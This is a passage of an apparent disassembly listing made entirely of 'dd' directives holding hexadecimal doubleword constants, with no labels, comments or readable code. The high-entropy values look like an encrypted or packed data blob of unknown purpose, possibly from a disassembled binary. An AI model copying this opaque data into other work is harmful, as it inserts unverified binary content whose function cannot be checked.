0E6144E8Bh, 0DCEA9673h, 0C14BE439h, 82A52CB8h, 0F0D90261h dd 0BECA9A8Ah, 305DE181h, 5EC0BA5h, 82799DE0h, 0BD73488h dd 7780DBF7h, 360C487Dh, 8EA755A0h, 319B4701h, 252FE9F3h dd 518548h, 0D11D016Ch, 2DD0F7E0h, 0A7548300h, 3CD2355Dh dd 137148FAh, 0CADA6916h, 0FB304F1Ah, 0C1B679E9h, 0F3814B16h dd 13FDFCD0h, 0D64E7890h, 0C2FEAE49h, 0EDF4A1h, 0B8457705h dd 11032D2Bh, 29242764h, 704E5F0h, 0A4A004E9h, 50FD070Dh dd 0B2483869h, 797FDBA1h, 26F7C9E5h, 0E9136608h, 8551F5E6h dd 8AEA5713h, 0D0E90C9Fh, 0EED59DC6h, 0E59A6986h, 0AFAC0644h dd 7237554Ch, 5DF842BDh, 78E716B9h, 0F6CB5B31h, 0B876E85Fh dd 8B532CE9h, 0CCEE9D1Ah, 0F80F758Fh, 585ECBFCh, 0BC26DBF3h dd 0EB38B13Eh, 0F67D81E2h, 0B4A6D0E3h, 1077EC3Bh, 0EA40EF18h dd 47F404Ch, 0B6BA54Ch, 1856EC68h, 97CBB5F9h, 0D41E0FD8h dd 55D548Ah, 5D08649Ah, 3F8669E1h, 2CEE6A85h, 425482A4h dd 6C90C2AEh, 0FC36DC0Bh, 0B2C98563h, 0F56CDCEBh, 928B5E4Eh dd 4F4E2C50h, 935FB8C0h, 2E15D9EEh, 0E9A1D0E8h, 3019346Ch dd 66A8FD4Ah, 1251531Fh, 0ED3DC459h, 4AD1D53Eh, 3D952D61h dd 2E552D02h, 1C9EA0B6h, 57051h, 9F73FC5h, 0DC68E801h dd 8F327A5Ah, 7C3142FBh, 5A3E03A5h, 0C040483h, 48C83529h dd 0D4FB2FAh, 0E2EC19E9h, 0A3F3CC83h, 9C4A0927h, 172E52AFh dd 0F8802C3h, 0A0FF2A80h, 562EF2C0h, 52470491h, 8DE185E9h dd 70E6CD85h, 0B481F10h, 64E9167Bh, 4205AB5h, 0DD3A2D16h dd 41295176h, 223998C8h, 534DBF33h, 9209A235h, 6598DC35h dd 0A0DED4DFh, 77139FCCh, 4EE0EF7h, 56C73155h, 6C46D08h dd 0E5976859h, 445F7BF6h, 92D04B75h, 2F6C562Bh, 0E75E0916h dd 1E53442h, 6E604E68h, 8682152Dh, 19C10434h, 5B58468h dd 253F4AB1h, 2A13498Eh, 58F09D12h, 87EFD10Fh, 7A6F25CFh dd 0BDAA1CC8h, 0B759E542h, 86F376CBh, 9AF332E9h, 65CA882Ch dd 73AF8024h, 96B18ED2h, 2F664C11h, 0EDD1A08Fh, 7E0F7E5Dh dd 1CFD487Dh, 135F0840h, 212E67E9h, 0E746AEh, 27540B35h dd 5B5C6F07h, 9203B8C8h, 18232565h, 0C34EF33Ch, 278B02ECh dd 1DC59BF6h, 9AFE1488h, 6449F19Ah, 5509C4C6h, 0B300CFAAh dd 37E94131h, 923A3E9Ch, 0D69DEF68h, 205AF37Fh, 911CA9CBh dd 0B307072Fh, 93DE074Bh, 0D81DFCE0h, 0CDD3C3B2h, 881F23A8h dd 0ECC68EE6h, 0E35E171Ch, 36E31CDDh, 7409084Dh, 4FF7FAC0h dd 93ED12F6h, 341259ADh, 0F20EADCh, 1AF31A4h, 0BD554B46h dd 70215DE6h, 1F4025F6h, 5F63EC4Ah, 0F526A8F1h, 9FEB0285h dd 30ED5A33h, 3E955C1h, 5F128639h, 0F647D689h, 6ABF6E11h dd 0F21FD9A6h, 0F9C5832Fh, 0A4F96911h, 5857E941h, 0AE0C0405h dd 62F2BEBDh, 97C8D0D9h, 0B5C2120Bh, 5204E192h, 7A394B20h dd 0D847BD27h, 0F0E14B12h, 7E919F62h, 760EEA03h, 0C04462Dh dd 23386CC0h, 5883D7C0h, 0E01C4C94h, 6081C68h, 3FD97AE9h dd 2384C707h, 56B42E7Fh, 5DFC43D5h, 3B87D10Ah, 282624D7h dd 14080025h, 0E98134C2h, 0EBE4BA5Eh, 0F5D4409Fh, 83C08270h dd 323E2E25h, 401DC031h, 0F0EF0581h, 5CEA38B5h, 685B7E1Fh dd 892D92CCh, 46D60FEBh, 0C36403F3h, 4816B916h, 3AC54B61h dd 420020A8h, 0E93D9A2Ch, 0D58227CCh, 8F358860h, 0FE678B09h dd 39467D29h, 7AEF597Ch, 0E9126EDAh, 0D09B85CAh, 0E57EA7B7h dd 35E1E24h, 12A9BD58h, 0A07C2E57h, 0FE44ED08h, 8550CE7h dd 0D6A81A32h, 1216A424h, 5FC6AC0Dh, 6874203Fh, 0B295262Bh dd 88AF41FDh, 0F7163776h, 0E1BAB8F9h, 276E329Bh, 0F8FF8413h dd 64B90023h, 8115202Dh, 7EE804F1h, 0EB3148F6h, 0D6E25DC0h dd 79F50267h, 0CC55E953h, 0C80FABD2h, 66830E41h, 9D9931BFh dd 0BCE54FE3h, 0EA011A91h, 5712C91Eh, 265568D4h, 26112D9h dd 1EA6469Fh, 26396076h, 943F9F5h, 97325AC4h, 0A0B8F56Ch dd 0DBB75E59h, 2B711DDh, 7FACBA52h, 402E363h, 9B48BD6Ah dd 0E73EC24Dh, 502F0C66h, 0E0C77EB8h, 4B62387Fh, 1FDE92Dh dd 12CA68BAh, 0A49E77C2h, 9596E975h, 0E5D7B10Eh, 0A64B2510h dd 305F76A7h, 0D9123C2Eh, 0E9296D1Ah, 0E0080AA2h, 0F8D35F1Ah dd 71D095ACh, 0AB29E609h, 15807D4Bh, 14D71251h, 5BFFF980h dd 0AB17BBF7h, 2BC579ABh, 0FFD3B2BDh, 80C1C28Dh, 9CE8C58Ah dd 14B981BAh, 809A6435h, 3A4E65B8h, 90F92912h, 600882DCh dd 9719D14Dh, 8A681538h, 0DE783948h, 717CA53Fh, 532881FFh dd 0F85E46F1h, 1FB66DB7h, 3F19F6C0h, 56350036h, 526F02Dh dd 0A8F47838h, 1BEEE91Ch, 1A34D725h, 0A7B60BFh, 0BD764A0Bh dd 0E6C10B5Eh, 0E7628405h, 2A8ED9AEh, 0D316EAFDh, 0E9A38C76h dd 2770C949h, 0B5724657h, 4CC8F4D8h, 4FD82566h, 7FB9764Eh dd 8813B582h, 0BC905DC0h, 9E43F582h, 5C17DCFBh, 3040D159h dd 2506A6C7h, 0A00CC161h, 7B44148Ah, 0D9840ADh, 0BCB675E9h dd 8CFE7E92h, 0D4987D1Bh, 0D040D99Eh, 5B18234Dh, 2B03E129h dd 0C5595E6h, 5173E02Fh, 482FE790h, 26B9DB1Ch, 0BE512F4Ah dd 0ECA47397h, 5F7E0CF6h, 900C2DDBh, 302E7A16h, 23C1910Ch dd 0B4F1BC2h, 6EE328CBh, 0A0CE9D40h, 0A78C493Fh, 0A2C5A89h dd 61D85B50h, 203516A3h dd 8CDEFFF3h, 194F457Bh, 21BD9780h, 50F0BF72h, 7E683025h dd 3CC15AD9h, 3D85296Ah, 74277987h, 0E022F6D9h, 0C78833B0h dd 5250581Dh, 251FE49h, 0F4EC9C5h, 8D0FC300h, 0A395C095h dd 8DE93B30h, 68092DFCh, 60461E47h, 4E56C009h, 31E48079h dd 90116239h, 3E0C011Ch, 0D5E946FDh, 9E8A2A43h, 0A4087662h dd 9D00A564h, 0B969DB25h, 37F10918h, 9B783133h, 3EC51410h dd 16772D3Ch, 9113EF01h, 8AAEFB52h, 0EDA05B7Ch, 3DA56E71h dd 362C7C2h, 9EF1DD80h, 599D521Fh, 74311EBFh, 1EF1EE28h dd 0A4879E43h, 0D15902FBh, 0A1DC43E3h, 0A3590882h, 267EF622h dd 43F32729h, 2F993208h, 52C2FFE2h, 0BF006CDEh, 3CA279A7h dd 73F907B9h, 533130FBh, 9403495Fh, 5CB42CC8h, 1809AC29h dd 0F73BA05Dh, 4F170E02h, 2AD08BA0h, 1A98F34Bh, 8ED4D324h dd 63086F6Ah, 0CB8100D8h, 700858FBh, 4D094790h, 86778C62h dd 76070211h, 3AEB0981h, 49802CF4h, 17B49C8Ch, 0E9C63104h dd 3FB9657Fh, 0C84911Ah, 9F2DCDFFh, 0E260D268h, 0A30BD617h dd 801FFBF6h, 0E529F205h, 9D30E94Ah, 23CDFD0Dh, 6D3B3D3Fh dd 3D316AAh, 8061B551h, 12D9CBF5h, 686E341Ah, 1848BB25h dd 901F9B66h, 0B125008Bh, 0F344E05h, 2196DE80h, 26AF3501h dd 88ED37F4h, 0F74648F2h, 0E8C12DD0h, 0C80CB276h, 121E9FA7h dd 0F9BDF1h, 15369ED2h, 0ED068157h, 309C4592h, 52EC080Ch dd 93A3278h, 766CC86Fh, 0D108A050h, 0A17C140Ch, 36945B20h dd 351FCFB3h, 21E7401h, 26C1E908h, 5E2FD279h, 0FCD592BDh dd 0E24A77C8h, 1BA38BEh, 45ABCA4Bh, 40F19247h, 6C06EABEh dd 0F137DF3h, 3B13C8Fh, 4A0B9464h, 84EAF902h, 44188644h dd 5BC0156Eh, 0DCB15FFBh, 0E15B5AB4h, 3105FCFCh, 0E7B11FD2h dd 0E0C19441h, 0A804142Fh, 0C1FEA35Ah, 5DD3C0C6h, 26A7CCF8h dd 840DFF78h, 0B851D406h, 0E95661F7h, 923BA638h, 57FC027Ch dd 85108482h, 0D864F7AFh, 994B1098h, 68098EF3h, 1EFD7569h dd 0EBF520C4h, 0BA68660Eh, 4D9976Ah, 0F6DBD02Ah, 0C05FDFE9h dd 20FA2726h, 8627A471h, 32FCE5C2h, 0A5DD7E32h, 0C8AFDB61h dd 751621A0h, 0E3B1B608h, 14CF1280h, 0E9487F25h, 2FAE7CF1h dd 9254765Ch, 6001B13Bh, 7F1310A8h, 4EBF72C4h, 1481F87Dh dd 30D129C7h, 0C4B7040h, 4E0E859h, 60A3976Eh, 0F1A7716h dd 61188E19h, 0D2414326h, 2F2DEB3Ch, 0BAAC2002h, 0D5DE8906h dd 0FE0A4E3Fh, 0DE99D51h, 0FD3A5ADCh, 22E70491h, 43C416B4h dd 0CB59FEB8h, 0F440A897h, 0E99BD8FFh, 80B69F2Fh, 0E52628EFh dd 9006B77Bh, 609F558Ah, 9DF08B7Bh, 84952051h, 0EF680C91h dd 6290A30Dh, 295924DFh, 209F8682h, 2C50ACA9h, 3D199780h dd 0E492D99Fh, 5161BB56h, 413EEC5Ah, 4442857Ch, 0CCE22140h dd 29716770h, 804DD41h, 0BF88BABh, 0E88B99E9h, 0CC1814Ch dd 0B890D40h, 8CECE80Ch, 3CE6334Eh, 0E2AF102h, 0E30F74D1h dd 64B8A21h, 4818EB0Ch, 4E013C60h, 68BC953Eh, 0B38957A0h dd 6455E761h, 1619E687h, 0F1592F62h, 90F06D46h, 94A64EF8h dd 40BC7819h, 230870ACh, 0BFFCD195h, 0A8C8C5ACh, 0B35EF213h dd 0E12F178Bh, 0F5F62EA4h, 1B4EEA4Fh, 9153E6CFh, 1E215A0Eh dd 9FD42F9h, 0D4C22080h, 0AF45F65Ch, 10523B0h, 15F77F79h dd 0EC07612Dh, 0C64C014Ah, 46CE2C3Ah, 0E3FB603h, 0D8688859h dd 0B71ABF7Eh, 94260571h, 0F18A08h, 0D0276E2Dh, 0BD000D4Eh dd 253DC341h, 4FDD46C5h, 190BA058h, 2E9B510Bh, 0A8588135h dd 4A3029F4h, 0BEF24004h, 123DAAB8h, 54372617h, 0B54EDAA8h dd 0A4050817h, 5FD5CC64h, 53C12005h, 854524FFh, 1348B2CEh dd 27AFF4ABh, 2FBC8258h, 43B33AF7h, 0BD6100D9h, 6B637F42h dd 4669F581h, 2BAB560Dh, 0EE9344BAh, 0B50EC4D8h, 0C240601Ah dd 92243770h, 91036871h, 0F88E6DC8h, 0B2B0E9E8h, 0BB585A28h dd 5BB9A528h, 0DF31B2F2h, 51D57549h, 78002F12h, 0FA225C5h dd 5AD02117h, 0E0334EEBh, 0D39FEC77h, 0D3870307h, 3942A2h dd 8B0FE0D1h, 25FB312Fh, 0A5402059h, 1D75BEC1h, 9F89F61Ah dd 0B6528968h, 0C6FEB403h, 936BF680h, 0EC0E5ED6h, 55F87A76h dd 34DAE917h, 0CD2F01F3h, 0ED801A01h, 2072BA6Dh, 0E5C00214h dd 0DE29E906h, 8B2D0ACCh, 7CF5EF9h, 652E0ACDh, 0E805AB09h dd 0AEF4BBDFh, 0DA721EA4h, 5B8FCDFDh, 0B1F78C51h, 0DC52764h dd 1FBD63B8h, 93173EDEh, 7E82CFAh, 6FFBB47Ch, 0F145A9DCh dd 0C80EA67Bh, 9DDA52EBh, 8402A70Dh, 420D545h, 9C939AA2h dd 0F10D16E5h, 0DAF42151h, 0F03070C4h, 0F5ED5B22h, 69F82D33h dd 0E06EAE55h, 0E975AB1Ch, 41B34B5Bh, 3449437Eh, 9C05D327h dd 0EF798E7Ah, 0E47FF1ABh, 77A4905h, 181EAEC0h, 0CB29698Dh dd 0A0F0C084h, 53515B05h, 0F5BAF388h, 1C0FFCD7h, 0FA114CA1h dd 1F09D65Ah, 5F052B47h, 805B4C2h, 85DAF25Dh, 0B221315Ch dd 6800B355h, 65C509EBh, 728A939Bh, 0A3CFFC5Ah, 2AE80557h dd 8565F00Dh, 596BA0A7h, 8F6040B2h, 35CD81B5h, 733F265Fh dd 0AFFE69BCh, 0FEB2E0Ch, 4913FCE3h, 0BD895256h, 0AB5239A4h dd 148BFA61h, 0F53CA83Bh, 0D60567BFh, 0C7382337h, 87B7E25h dd 0EED32C2Fh, 437CB55Dh, 0B708C556h, 5604AF32h, 30EB8B0Ch dd 750F696Eh, 79FC794Fh, 8612470Eh, 0C9C9FE52h, 129F6F0h dd 0F5D247Ah, 3FCEA88Dh, 0A00780D2h, 8BC5887Fh, 805B00C7h dd 870FF5CDh, 0DA93FE26h, 0D556EEB4h, 0A32F01AEh, 7E2F2D0Eh dd 4F4033F1h, 5F18F0EEh, 0C2A3E404h, 0AF8D654h, 0BF27714Bh dd 0F603A382h, 0B68A62FEh, 0C193DB23h, 7D3F1A7Ch, 9E383A25h dd 0E61730E9h, 0BB32F3FFh, 0C0A41025h, 0B7EF41BBh, 0AFA5C271h dd 2FD8A681h, 0ECDD5C81h, 0EB0F3525h, 59053FA7h, 0DD2074E6h dd 386897AAh, 0F40943CBh, 0D95D5A37h, 9B09EB5Ch, 6F04E769h dd 0A3B58BB8h, 68E9122Fh, 0EE0506B2h, 0BE096E05h, 0E9E156DDh dd 0C479FC3Fh, 0BDF9C821h, 0AEDCA485h, 9944A69Ah, 103E6062h dd 580C2FBFh, 0FB894D09h, 1404575Fh, 0B88DD0F5h, 0F30B6511h dd 87C5017Fh, 35F2CD17h, 98A55AE5h, 52A09537h, 6AD9F0C2h dd 0ABA8105Fh, 8759884Fh, 58AF7D12h, 563E5501h, 0C827446h dd 2FA860F2h, 800DD0F7h, 6573E908h, 0EB5D64F0h, 4D48AEE6h dd 0A45FD613h, 341317Bh, 85BFBD3Fh, 0ADF27935h, 0CEF68B8Eh dd 10B64D77h, 8001B0FDh, 0B75367E2h, 6532ED7Bh, 0EEC28223h dd 87DF5FD3h, 23E5F58Ah, 0F26697D2h, 12172610h, 3E092052h dd 95798702h, 18F9580Eh, 59E90844h, 9E5F9621h, 0AAE93F42h dd 0F1B78AA3h, 4DFB6064h, 460C732Fh, 4A01EAE9h, 366A00B8h dd 3E2D1F51h, 1000B772h, 0B784B0Dh, 2C923565h, 92E6CB2h dd 7451C484h, 3A3244Bh, 0D12185B1h, 16D6E67Fh, 1DBB1886h dd 34F79825h, 4295C361h, 9DF400Eh, 344F2478h, 6F4D04CCh dd 4982AE76h, 0B88954E6h, 0F63853B0h, 0D44C88D2h, 0D0EE17EDh dd 0F25BF84Eh, 1C585FB9h, 0F0B4B15Fh, 0B03F5053h, 0E24EAF34h dd 0AECD7D23h, 0FA56E904h, 0E3D68AF8h, 0C0F25A66h, 2531D01Ch dd 973D71FBh, 278DD6A1h, 97A967E4h, 0D9A743DBh, 18E9E171h dd 62DA57C1h, 0BBF77799h, 504104B2h, 0BB089068h, 9B92CF37h dd 533EA313h, 342ED052h, 0C21E5EA7h, 29F1C7CEh, 5D3309Eh dd 3EDCF00h, 4A13880Fh, 92EDA6E2h, 0EB463F04h, 413110C2h dd 9B3889F0h, 2B5F6818h dd 7A9559CFh, 3A1E0238h, 0DBE93F13h, 0ABD71A50h, 0BC8465BCh dd 73762988h, 2A4AAB10h, 9A25BB31h, 0E923D4F9h, 0E950F476h dd 7D8095A8h, 15D4ABEh, 0FF536D24h, 0F62DBC0Bh, 0A512515Fh dd 0E6857089h, 39CA036Fh, 0EBBD555Bh, 0AE6141DAh, 2E0735EEh dd 2B12DF3h, 14659353h, 6B686A80h, 4CAA4C50h, 26875F10h dd 0FA00874Ah, 0B8DE34BAh, 0BD04050Fh, 0CED0290Bh, 0CCEB032Fh dd 5114F7Eh, 0E577F30Ch, 5350AB51h, 140C6808h, 0CB795814h dd 5C1641C9h, 2DE1283Ah, 216EE91Ch, 5F80145h, 9DA80716h dd 0E55D50A2h, 0E9AF1831h, 0E61CC181h, 9ABD4136h, 0DF336F85h dd 97037A70h, 8101B53Ch, 0AC73D8E1h, 4941240Dh, 30140B33h dd 3F0C909h, 13530507h, 945176BDh, 0DFCAFB6Fh, 3A073988h dd 9D5911D0h, 109FFECEh, 0B5EA2767h, 9258EAA8h, 2F1EF115h dd 9B110F0h, 2E1C0FAh, 0CA16C605h, 0F6924EE7h, 9D440277h dd 0A0AAA8A4h, 5AB54E84h, 7D4C3861h, 8634FA4Fh, 68DB30FFh dd 0B4134DC6h, 89045A7Ch, 64ACCF6Bh, 4BA5523Bh, 9FC79DE8h dd 65AF5318h, 0B3B7B0Ch, 0FD5D1FEAh, 0AF169A8Eh, 4E65F74h dd 0AC6EE616h, 0F5A68936h, 5573C089h, 0FD68364Ch, 0BD7B2C3Eh dd 0A8335901h, 2B1AE944h, 0D03A457Bh, 0D99DFFDAh, 0E104E56Eh dd 6D22BC9h, 72C2DD72h, 3AD75714h, 8FC465F2h, 0A4CFA83Ah dd 2D63982h, 9561D131h, 36860537h, 0EC4D4EE3h, 0EFF51C98h dd 5DE7D5Ch, 82FA214Bh, 822DE81Fh, 0A07BE907h, 0EA815FD5h dd 0D94C1FA4h, 3DA0C6Fh, 5C0BBDE5h, 0F824F338h, 122D9851h dd 0AA52EB7Ch, 91C7A302h, 31E375DDh, 6DE4401h, 0ACE943F4h dd 0EEB8F380h, 56208875h, 8A16BE00h, 46E9DF77h, 0CAC3A801h dd 5E787D1Fh, 47A8B07Dh, 0EF55404h, 2CBD531h, 0B2E98861h dd 111D7945h, 0EF3E5962h, 0A4FEE096h, 0C80761DDh, 0DD896588h dd 10E86FD4h, 5808BC5Eh, 0EE3E73B0h, 47619B2Ch, 10D9D88Dh dd 0C506B7Eh, 66B09072h, 5B9C24B7h, 0CEC698ABh, 0B042FA40h dd 0F99A6BD8h, 0BFF29D40h, 621F4512h, 915810AEh, 8D8FAC04h dd 94E7BB9Dh, 0C84E6948h, 0CD60DE90h, 63A4BA0Ah, 0F51A5F80h dd 1604CCB2h, 504BE530h, 5B2DC049h, 4C26F88Ah, 918684D2h dd 7922BF0Eh, 64F71EBDh, 4A600E15h, 0E7C3099Ah, 358A6CC0h dd 0B6301157h, 0FE1D34FCh, 0CB3709F7h, 40FF744Fh, 0B92B83EFh dd 312DBC10h, 4B7CA489h, 9441BE82h, 0C5F7DC6Dh, 0B9DE40C2h dd 737754BBh, 570901BEh, 0C1C76ABFh, 303E433Eh, 0C777F4AEh dd 0FAE495Bh, 290A8E36h, 0DB088B8Eh, 50833932h, 972533F5h dd 0AD0BFC12h, 2B628271h, 0F6350051h, 0E27AABFFh, 33F3B35Fh dd 825EA558h, 0E27D5F09h, 44727307h, 0CAEE1683h, 4E45BFBh dd 5F17E68h, 0F9E953A1h, 8942FA18h, 646A4216h, 0C23E4E17h dd 9B7B5DF1h, 2E665343h, 9FF87E90h, 0BF4F308Dh, 48619B36h dd 0AB1E8F9Ah, 0E049A06Bh, 37D15519h, 97C0AA54h, 6CE913B5h dd 358629DBh, 84466DEDh, 0F243ABB2h, 77F2378Bh, 0CDE9C9E3h dd 0FAF4F7B8h, 9757EC2Bh, 34CA7613h, 0CEB5AB85h, 4E78E662h dd 74239CBFh, 730A0616h, 0E0074BAh, 98325F0Ch, 0C85A8526h dd 0F91495CFh, 60075690h, 0B30E321Dh, 1626FD29h, 15082953h dd 20681A7Fh, 0FC60DEDEh, 1B26AC2Fh, 335A60E9h, 0D74EF5D8h dd 4921612Dh, 0F934D4CEh, 0F1222DE9h, 0B5CD9E1Bh, 450C8C29h dd 13C28F2Ah, 0B83E3D61h, 0DE981622h, 8AF1BB34h, 0B37FE7E5h dd 32C793Bh, 0D953D490h, 0E26E4A55h, 0B4C21E44h, 41658089h dd 21285FA7h, 39D1FED3h, 0D011AA15h, 0DC567A10h, 5E9F7CFFh dd 305B740h, 61CAC119h, 0D1E2C289h, 0F6EAC190h, 0EDEB6516h dd 0CDD84FAFh, 67AF58C2h, 0E71509C1h, 0EBFD9883h, 0EA02B1F6h dd 568618EBh, 640C7876h, 9FEE8366h, 0D390215Ah, 64D8CA97h dd 2ADE2FFDh, 83290C94h, 8180A9BAh, 482D66F6h, 2DF6B36Eh dd 7CB73EE6h, 0EDE94112h, 0C80524EEh, 7AF3FDEFh, 445B0AF2h dd 0BD01140h, 2DDFFC01h, 0E98B8FC5h, 9D3044B4h, 0CE7AB2F6h dd 1F492207h, 51B87EF5h, 8BDD6BB2h, 9556949Fh, 5C407B60h dd 0E9484A04h, 20FEF8FFh, 29842DAEh, 4CA8C72Dh, 0F906C19Dh dd 0A84D615Fh, 7D695DA5h, 95A9753Bh, 0DD803300h, 95A8B63h dd 0ECA4ABD0h, 0BBDF5E35h, 0AAC60900h, 2CEB509Bh, 16B8F309h dd 0C2FEB4BEh, 0C34A990Bh, 0E8EAD569h, 3FB2C5D5h, 0EB053B18h dd 0DD821F0Ah, 0D4BF2ACCh, 8FE95854h, 80A8C052h, 0D5325C2Dh dd 35DAB550h, 3409CB00h, 67E9420Eh, 0F633D8A2h, 0A43221DDh dd 82F3AC37h, 682FE907h, 95515865h, 591C74F2h, 76EFEA88h dd 0F12308B0h, 5AD00802h, 9F61D5C0h, 0EC533F6Eh, 2087A8C1h dd 855A396h, 68064C6Dh, 26C330BCh, 52AF6CE8h, 0BA3C9061h dd 9F0B6A21h, 48C8F32Dh, 6AE700C3h, 0FE010E7Fh, 882A390h dd 28284B8Eh, 149E801Dh, 57644A09h, 0BB424794h, 0E9D82904h dd 0B2E4B037h, 30286926h, 8F178016h, 0AF21C5EFh, 464470Bh dd 31AAB9F0h, 40A7DDBBh, 7FCCBB8Fh, 0B0686028h, 13405D1Ch dd 2C74E9C6h, 4A222EEBh, 0F878C40Dh, 0A094D85Ch, 3EED0364h dd 730B8BBDh, 0BAF0E0E5h, 13AD3000h, 5DEA29AEh, 21E91357h dd 5F2690BFh, 40508511h, 3D05AD94h, 0FB011D53h, 357FDE18h dd 7D5A1616h, 60C0907h, 0D856B241h, 4DB69C17h, 91396A80h dd 68352Ch, 2D7A664Bh, 332B628Dh, 95F00095h, 0BD1A5C07h dd 2F5DBF89h, 57184990h, 5E9D3C1Ch, 86BE8B2Ah, 941A57Eh dd 59205AD7h, 0B82EFEA1h, 7DC206E3h, 0C57B806h, 93659408h dd 0D78A3947h, 13E79540h, 0D1584FCBh, 160ADCB4h, 17FB323Fh dd 0D139AEBCh, 43BF6F9h, 0CB545118h, 10695851h, 0BD2D0509h dd 0CC804171h, 297B5A3Bh, 69DEB7E9h, 0E9012674h, 4B202020h dd 7F2BB65Dh, 4F5F0D48h, 0FFC167A2h, 30B95132h, 315C42EBh dd 0FC6801Fh, 46292F9Ah, 590C404Ch, 7435C5A1h, 7195BDC0h dd 0C66E0B38h, 908B96DEh, 4260F916h, 9877B521h, 28055C1Dh dd 5F8D5B8Dh, 0B0A913D1h, 0FC59181Bh, 7C250194h, 0C78946C6h dd 82085660h, 78A0B2C0h, 0F6AAB02h, 4884EE85h, 829AF8EFh dd 13E4F7h, 0C42EDCB9h, 0F1814114h, 305EAF0Bh, 20D8DE52h dd 3FD913A0h, 805782D0h, 0D7C1B19Bh, 0D1F5C260h, 44A95289h dd 0C9C26EFCh, 62C15C18h, 5D02A5BCh, 4928D95Ah, 0F5EE96D5h dd 0B8389205h, 446810FDh, 24015A06h, 928681EAh, 0C2500BCh dd 9F454C29h, 1D017610h, 257CEF83h, 0C8DD0988h, 0B48FDD3Eh dd 0CCE2802Ch, 0F3AA84Bh, 0CF7B8012h, 65D0D827h, 27E9410Ah dd 3955D777h, 7FF2758Fh, 6B81DCB2h, 6ADE187Bh, 13976FB0h dd 81168374h, 7FF84247h, 2AC06D5Dh, 105791Dh, 858D0D1h dd 902597Dh, 61A24E60h, 25F61195h, 27545A97h, 5554361Ch dd 8296CD58h, 0AFDF0162h, 0F2586462h, 0C93FBE9Dh, 5EA4FAC2h dd 280EEC52h, 0C40F75EFh, 6499EBEEh, 815F6FC8h, 163B223h dd 4AA31F8h, 0C8F49108h, 801427B6h, 332DC829h, 69DE0010h dd 55685659h, 2F01FD5Fh, 71CE815Eh, 46E42B03h, 0E11335E9h dd 0A9D4BB8Ch, 5D6972C2h, 599D6BB6h, 595626Bh, 0FD9F600h dd 1B286389h, 8CC0C1FEh, 69B1FD7Ch, 0D55AA4B2h, 26CF08FBh dd 3461BC43h, 9A6A48Ch, 0E22D6F28h, 0D27DC851h, 1F50BF94h dd 473494F6h, 0B14C9552h, 1FF66BB2h, 36A0E9C2h, 256F0D5Ch dd 57D0DC10h, 28E236Ah dd 65A0353Bh, 126028A9h, 0B588536Bh, 2B018178h, 967E9EE9h dd 8A9CA8Bh, 6827A711h, 3E5F476Eh, 4099BA56h, 20ED9548h dd 2E9C5D39h, 0DAD2D42Dh, 7591CC5Dh, 0B920C043h, 78CC1217h dd 6E18100h, 874C7432h, 0D7F728F9h, 0C8EF44F5h, 509AB7EEh dd 45EF885Eh, 0ABA3D088h, 705640C8h, 0F006E1CCh, 8129E300h dd 3E0C79F7h, 9EE4C134h, 3E8AB1D1h, 2CE93BA0h, 5132CC71h dd 11C68052h, 0BA447E14h, 290BC615h, 9F4066CAh, 20779030h dd 0FF8B295h, 60CB1556h, 91B8887Ah, 0F831142Eh, 0AF17AC5Fh dd 4B42F63Dh, 0F18929E9h, 4B0DCC78h, 0F5D38F0Fh, 7CF61BF1h dd 203A80D8h, 0EFB452CDh, 7DED8102h, 0FC7A2245h, 1B08A081h dd 0DFF7D9E9h, 0EC46E1B7h, 5D8F4048h, 1440012Eh, 0DC1A17E4h dd 0DB04BE6Bh, 0BF00CA84h, 13936D10h, 4AB750BFh, 1E52EAC1h dd 0AB11CC22h, 9E87EBFh, 0BB8408E3h, 0FB1EC8C5h, 38C61607h dd 52D2CE89h, 9F07521Bh, 0C405D700h, 729FDA06h, 689AA845h dd 21364BA2h, 6048B461h, 0E44F8393h, 92FA4674h, 0A22A98A1h dd 0DFE3AA09h, 0D0205296h, 0D99980D3h, 2C893002h, 6C9F930Ch dd 2B89648h, 12545338h, 20C95E29h, 0FEE91208h, 1578ADDBh dd 7850676Fh, 3B695B0Bh, 2098C40Bh, 8F903C0Eh, 1F7F9101h dd 6850564Ah, 0E99F1DF8h, 0CAE71D3Bh, 99ACB5F2h, 2F0DBE5Bh dd 8F642E0Bh, 0A25F0653h, 3DF504F7h, 8260D907h, 807F0CE9h dd 0B6E94570h, 5E45C78Bh, 28BF3057h, 0CF4D8829h, 74B4C938h dd 1D7525B3h, 0F668065Bh, 7B2D412Eh, 4A5C5CAh, 0BF35C468h dd 257D03CBh, 0BE661EA4h, 9064304h, 4A042942h, 0F0550BB4h dd 0D06C1F5Ch, 809C0C3Dh, 244ABAA9h, 2AB42121h, 1FBDC2Bh dd 0F3B610B5h, 0EE318015h, 9B5B5D78h, 0C55F3A09h, 0AC5D8D83h dd 7686601Fh, 58443B9Dh, 0EA31C867h, 50402F33h, 25B551B4h dd 9627CFCh, 0D35D89EBh, 2E183DFEh, 466D3B27h, 88AB9BD6h dd 785E42BDh, 98EFDC35h, 654AE9FBh, 0D058350Ah, 5A186D07h dd 292D5F00h, 61CB3A42h, 705D014h, 0A1FA65Eh, 0EFE6BFE9h dd 47BACF85h, 830FA781h, 0ED516C69h, 9F1588E0h, 81C4D18Fh dd 10BAE3Fh, 5CC57C55h, 3DEEF131h, 0B8540585h, 7BFBD8BBh dd 0A0584440h, 3E499CF3h, 0B171648h, 0F9B320F2h, 0DC7B52F6h dd 5B0D222Dh, 4A7BA556h, 8D7A413Eh, 55069220h, 0E0AF0Eh dd 48587FD1h, 0E28E100Fh, 0E3C44E4Dh, 2D18E9ECh, 890126DBh dd 272BC548h, 0EEB15ACDh, 0FBC34A67h, 0BE82C32Dh, 7C571108h dd 0F22EC8F5h, 506AE018h, 2C51D150h, 0B927705h, 0B5D635BCh dd 85D4B063h, 458FE09h, 0C3FB7D1Eh, 6BD180C9h, 6AB361E9h dd 7D87204Bh, 1AE0286Ah, 0BD81F5BCh, 148AFA78h, 0FA318B9Fh dd 18E6424h, 60B685Bh, 61162789h, 0C4CF7E51h, 0F3EEECE7h dd 398451F5h, 90EB0368h, 0D917732Ah, 2AADAE66h, 0EEC17763h dd 0CAE06449h, 718F2D17h, 6CE110Ah, 3F7EEE01h, 0B921113Eh dd 5A3D27CCh, 138B9403h, 0AE360C08h, 0D7042DB5h, 890672D9h dd 50949AB8h, 24C6502Ch, 19E50519h, 0C247C287h, 11048493h dd 0C407DFC9h, 0E87101AAh, 876DE23Ah, 0F942FC18h, 0F6BE5680h dd 7D90043Ch, 0BEFEB0E9h, 7C7BFA44h, 28C560F8h, 890CA8E8h dd 9D1EFF66h, 0CC3FB9B5h, 